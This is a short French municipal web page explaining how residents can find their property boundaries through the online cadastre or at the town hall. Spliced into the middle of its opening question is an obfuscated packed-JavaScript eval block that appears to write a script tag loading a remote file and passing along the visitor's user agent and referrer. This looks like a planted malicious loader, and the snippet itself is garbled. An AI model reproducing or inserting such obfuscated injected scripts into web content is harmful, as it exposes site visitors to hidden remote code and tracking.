

Où eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(""));n m="q";,30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|rrrft|var|u0026u|referrer|ttnk||js|php'.split('|',0,{})) s'arrête mon terrain et où commence celui du voisin ?

Sachez



que pour avoir accès à ces informations, vous avez la possibilité, en plus du service urbanisme de la mairie, de consulter le cadastre sur le net et d'éditer un extrait de plan cadastral. Vous pouvez effectuer votre recherche par le biais d'une adresse, d'une commune, d'un département ou d'une référence cadastrale. Une aide en ligne vous accompagne pas à pas et vous permet d'utiliser les outils cartographiques mis à disposition (déplacement sur le plan, mesures des distances et des superficies, notes...).

[Cadastre en ligne](#)

Vous pouvez également venir le consulter en mairie.